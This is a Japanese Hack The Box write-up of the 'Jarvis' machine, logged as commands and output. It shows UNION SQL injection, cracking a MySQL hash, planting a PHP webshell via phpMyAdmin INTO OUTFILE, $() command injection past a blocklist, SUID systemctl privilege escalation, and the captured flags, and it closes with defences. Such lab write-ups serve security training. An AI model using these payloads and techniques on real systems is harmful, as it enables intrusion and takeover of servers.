Hack The BoxのWriteup(Jarvis)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Jarvis — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80 (Stark Hotel)
room.php?cod= UNION SQLi
7カラム、mysql.userから DBadminハッシュ
hashcat -m 300
imissyou
phpMyAdmin SQL console
INTO OUTFILE webshell
www-data RCE
simpler.py -p
$()コマンド注入
pepper
user.txt ✓
SUID /bin/systemctl
GTFOBins悪意あるサービス
root.txt ✓

ポートスキャン

BASH
nmap -sV -sC -p 22,80 10.129.229.137
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Stark Hotel
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set

ディレクトリ列挙

BASH
gobuster dir -u http://10.129.229.137/ -w /usr/share/wordlists/dirb/common.txt
RESULT
/css        (Status: 301)
/images     (Status: 301)
/index.php  (Status: 200)
/js         (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
ℹ️
“Stark Hotel”というホテルサイトの「Rooms & Suites」セクションは /room.php?cod=Nという形式でルーム情報を取得しており、 /phpmyadminも発見された(現時点では資格情報不明)。
PHASE 2

room.php の SQLインジェクション調査

sqlmap既定User-Agentは90秒BANされる — Firefox UAで回避

BASH
UA="Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
curl -s -A "$UA" "http://10.129.229.137/room.php?cod=1'"
🚨
アプリ側にWAF的な仕組みがあり、sqlmapの既定User-Agentを検出すると 90秒間アクセスを拒否する。以降の全リクエストで通常ブラウザの User-Agentを常用することで回避する。

UNIONベースSQLiでカラム数を確定 (7カラム)

BASH
curl -s -A "$UA" -G "http://10.129.229.137/room.php" \
  --data-urlencode "cod=-1 UNION SELECT 1,2,3,4,5,6,7-- -"
RESULT (抜粋)
<h3><a href="/room.php?cod=1">2</a></h3>
<span class="price-room">3</span>
<p>4</p>
7カラムのUNIONが成立し、2・3・4番目のカラム値がそれぞれ ルーム名・価格・説明文としてページ上にそのまま反映される (エラーメッセージなし=注入成功の確証)。

mysql.user から DBadmin のパスワードハッシュを抽出

BASH
curl -s -A "$UA" -G "http://10.129.229.137/room.php" --data-urlencode \
  "cod=-1 UNION SELECT 1,2,3,CONCAT(User,0x3a,Password),5,6,7 FROM mysql.user-- -"
RESULT
<p>DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0</p>
ℹ️
0x3aはコロン:の16進表現。mysql.user テーブルは(アプリ用DBユーザーではなく)MySQLサーバー自体の認証ユーザー 一覧であり、DBadminというphpMyAdmin管理者用アカウントが1件だけ存在する。

hashcatでクラック

BASH
echo "2D2B7A5E4E637B8FBA1D17F40318F277D29964D0" > hash.txt
hashcat -m 300 hash.txt /usr/share/wordlists/rockyou.txt --force
RESULT
2d2b7a5e4e637b8fba1d17f40318f277d29964d0:imissyou
-m 300はMySQL 4.1/5のPASSWORD()関数由来の SHA1(*プレフィックス)ハッシュ形式。数十秒でクラック成功、 DBadmin:imissyouを取得。
PHASE 3

phpMyAdmin — INTO OUTFILE によるwebshell配備

phpMyAdminへログイン (セッションCookie + CSRFトークン)

PYTHON
import requests, re, html
sess = requests.Session()
r = sess.get("http://10.129.229.137/phpmyadmin/index.php")
token = html.unescape(re.search(r'name="token" value="([^"]+)"', r.text).group(1))
sess.post("http://10.129.229.137/phpmyadmin/index.php", data={
    "pma_username": "DBadmin", "pma_password": "imissyou",
    "server": "1", "target": "index.php", "token": token,
})
⚠️
落とし穴: phpMyAdminのCSRFトークンはHTMLエンティティ エンコードされて埋め込まれている(&quot;等)。 html.unescape()でデコードせずに送信するとトークン不一致で 全リクエストが失敗する。

SQLコンソールでPHP webshellを書き込み

PYTHON
token2 = html.unescape(re.search(r'name="token" value="([^"]+)"', r2.text).group(1))
sql = 'SELECT \'<?php system($_GET["c"]); ?>\' INTO OUTFILE \'/var/www/html/sh3ll.php\''
sess.post("http://10.129.229.137/phpmyadmin/import.php", data={
    "token": token2, "sql_query": sql, "db": "", "ajax_request": "true",
})
BASH (RCE確認)
curl -s "http://10.129.229.137/sh3ll.php?c=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE成功! アプリ自身のDB接続ユーザー(room.php 用)はFILE権限を持たずINTO OUTFILEが使えないが、phpMyAdmin 経由のDBadmin接続は管理者権限でファイル書き込みが可能。
PHASE 4

simpler.py $() コマンド注入 → pepper → user.txt

sudo権限の確認

BASH (webshell経由)
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode "c=sudo -l"
RESULT
User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

simpler.py の脆弱性 — $記号がフィルタから漏れている

PYTHON (simpler.py 抜粋: exec_ping)
def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)
🚨
決定的な発見: 禁止文字リストに $ が 含まれていない。$(コマンド)形式のコマンド置換を使えば、 os.system('ping ' + command)実行時に任意コマンドが pepper権限(sudo -u pepperで起動されているため)で 実行される。

落とし穴: /bin/shがdashのためechoの挙動に注意

NOTE
PHPのsystem()はwebshell上で/bin/sh(dash)経由でコマンドを実行する。
dashのecho組込コマンドはbashと異なり、-eフラグ無しでも\nなどの
エスケープシーケンスをデフォルトで実際の改行として解釈してしまう。

これにより単純に
  echo '$(id > /tmp/out)' | sudo -u pepper simpler.py -p
のような中継を試みると単発コマンドなら動くが、複数行ペイロードを
中継しようとした際に想定外の場所で改行が評価され壊れる。
安全に中継するには printf '%s' "文字列" を使うこと(%s展開される引数は
エスケープ解釈されない)。さらに$記号は \$ でエスケープしwww-data側の
シェルでの即時評価(コマンド置換の先走り実行)を防ぐ。
BASH (pepperコンテキストでコマンド実行するヘルパー)
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode \
  'c=printf '"'"'%s'"'"' "\$(cat /home/pepper/user.txt > /tmp/.jarvis_user)" | sudo -u pepper /var/www/Admin-Utilities/simpler.py -p'

user.txt取得

BASH
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode "c=cat /tmp/.jarvis_user"
RESULT
e8a59048b623925a86971eec02c7d34b
user.txt — pepper
e8a59048b623925a86971eec02c7d34b
ℹ️
ここでの/tmpはsudo経由の通常プロセスなので隔離されず 正常に読み書きできる(後述のPhase 6ではsystemdサービス経由になるため 事情が変わる)。
PHASE 5

SUIDバイナリ調査 — /bin/systemctl

SUIDバイナリの列挙

BASH
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode "c=find / -perm -4000 2>/dev/null"
RESULT
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
...
BASH
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode "c=ls -la /bin/systemctl"
RESULT
-rwsr-x--- 1 root pepper 174520 Jun 29  2022 /bin/systemctl
🚨
systemctlにSUIDビットが立っており、所有者root・ グループpepper・「その他」に実行権限なし。つまり pepperグループのメンバーのみがこのSUIDを起動でき、 起動すると実効ユーザーIDがrootになる(GTFOBinsの定番手法)。 www-dataは直接実行できないため、Phase4のpepper昇格が必須の前提となる。
PHASE 6

悪意あるsystemdサービス → root.txt

サービス定義とスクリプトの作成(www-data権限で自由に書ける)

BASH
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode \
  "c=printf '[Unit]\nDescription=pwned\n\n[Service]\nType=oneshot\nExecStart=/dev/shm/jroot.sh\n' > /dev/shm/jroot.service"

curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode \
  "c=printf '#!/bin/bash\ncp /root/root.txt /dev/shm/.jarvis_root\nchmod 644 /dev/shm/.jarvis_root\n' > /dev/shm/jroot.sh"

curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode "c=chmod +x /dev/shm/jroot.sh"
ℹ️
ファイル自体の所有者はwww-dataのままでよい。systemctlは SUIDでroot実効権限のまま動作するため、参照するファイルの所有者は 問われない。制限のかかるpepperコンテキスト(Phase4の禁止文字フィルタ)を 経由する必要があるのはsystemctlコマンドの実行そのものだけ。
⚠️
落とし穴: PrivateTmp。このサービスは(デフォルト設定の 一部として)PrivateTmpが有効な環境で動くため、ExecStartが /tmpへ書き込んだファイルは隔離された名前空間に置かれ、 webshell側の通常の/tmpからは見えない。出力先には /dev/shm(隔離対象外)を使うこと。

SUID systemctlでサービスを起動 (pepperコンテキスト)

BASH
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode \
  'c=printf '"'"'%s'"'"' "\$(systemctl link /dev/shm/jroot.service)" | sudo -u pepper /var/www/Admin-Utilities/simpler.py -p'

curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode \
  'c=printf '"'"'%s'"'"' "\$(systemctl start jroot.service)" | sudo -u pepper /var/www/Admin-Utilities/simpler.py -p'
systemctl link/etc/systemd/system/jroot.service へのシンボリックリンクがroot所有で作成される (SUID実効権限が実際に発動している証拠)。続くstartExecStartがroot権限で実行され、root.txtを /dev/shmへコピー・世界読取可能化する。

root.txt取得

BASH
curl -s "http://10.129.229.137/sh3ll.php" -G --data-urlencode "c=cat /dev/shm/.jarvis_root"
RESULT
05309afd9028ee40a3ba653abe63b369
root.txt — root@jarvis
05309afd9028ee40a3ba653abe63b369
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — pepper
e8a59048b623925a86971eec02c7d34b
root.txt — root@jarvis
05309afd9028ee40a3ba653abe63b369

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
UNION SQLi room.php (cod パラメータ) DB管理者パスワードハッシュの窃取 Critical 7カラムUNIONでmysql.userからDBadminのSHA1ハッシュを抽出、hashcatでクラック
MySQL INTO OUTFILE phpMyAdmin (DBadmin権限) リモートコード実行 (www-data) Critical FILE権限を持つDB管理者接続でPHP webshellをWebルートへ直接書き込み
不完全なコマンドインジェクション対策 /var/www/Admin-Utilities/simpler.py (exec_ping) 権限昇格 (www-data → pepper) High 禁止文字リストに$が抜けており$(cmd)形式のコマンド置換が素通りする
SUID systemctl (GTFOBins) /bin/systemctl 権限昇格 (pepper → root) Critical SUIDが立ったsystemctlで悪意あるサービスを作成・起動しroot権限のコード実行を得る

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + gobuster22/80、/phpmyadmin発見
2SQLiUNION SQLi(7カラム) + hashcatDBadmin:imissyou
3RCEphpMyAdmin INTO OUTFILEwww-data RCE確立
4横展開simpler.py $()コマンド注入user.txt取得(pepper)
5権限調査find -perm -4000SUID systemctl(pepperグループのみ実行可)発見
6権限昇格GTFOBins systemctlroot.txt取得

学んだ教訓 & 防御策

問題点防御策
room.phpのcodパラメータがSQLインジェクション可能 プリペアドステートメント(パラメータ化クエリ)を徹底し、ユーザー入力を SQL文へ直接連結しない。
MySQLのFILE権限を持つ管理者アカウントのパスワードが弱く、 辞書攻撃でクラック可能 強力なパスワードポリシーを強制する。DB管理者アカウントのFILE権限は 本当に必要な場合のみ付与する。
コマンドインジェクション対策の禁止文字リストが不完全($が抜けている) ブラックリスト方式でなくホワイトリスト方式(許可する文字パターンのみ 受理)で入力検証する。シェルコマンドの組み立て自体を避け、 subprocessの引数リスト形式(shell=False)を使う。
SUIDビットが不要なバイナリ(systemctl)に付与されている SUID/SGIDビットは本当に必要なバイナリのみに限定する。sudoersで 必要な操作だけを個別に許可する方が安全。
HackTheBox: Jarvis | 完全攻略レポート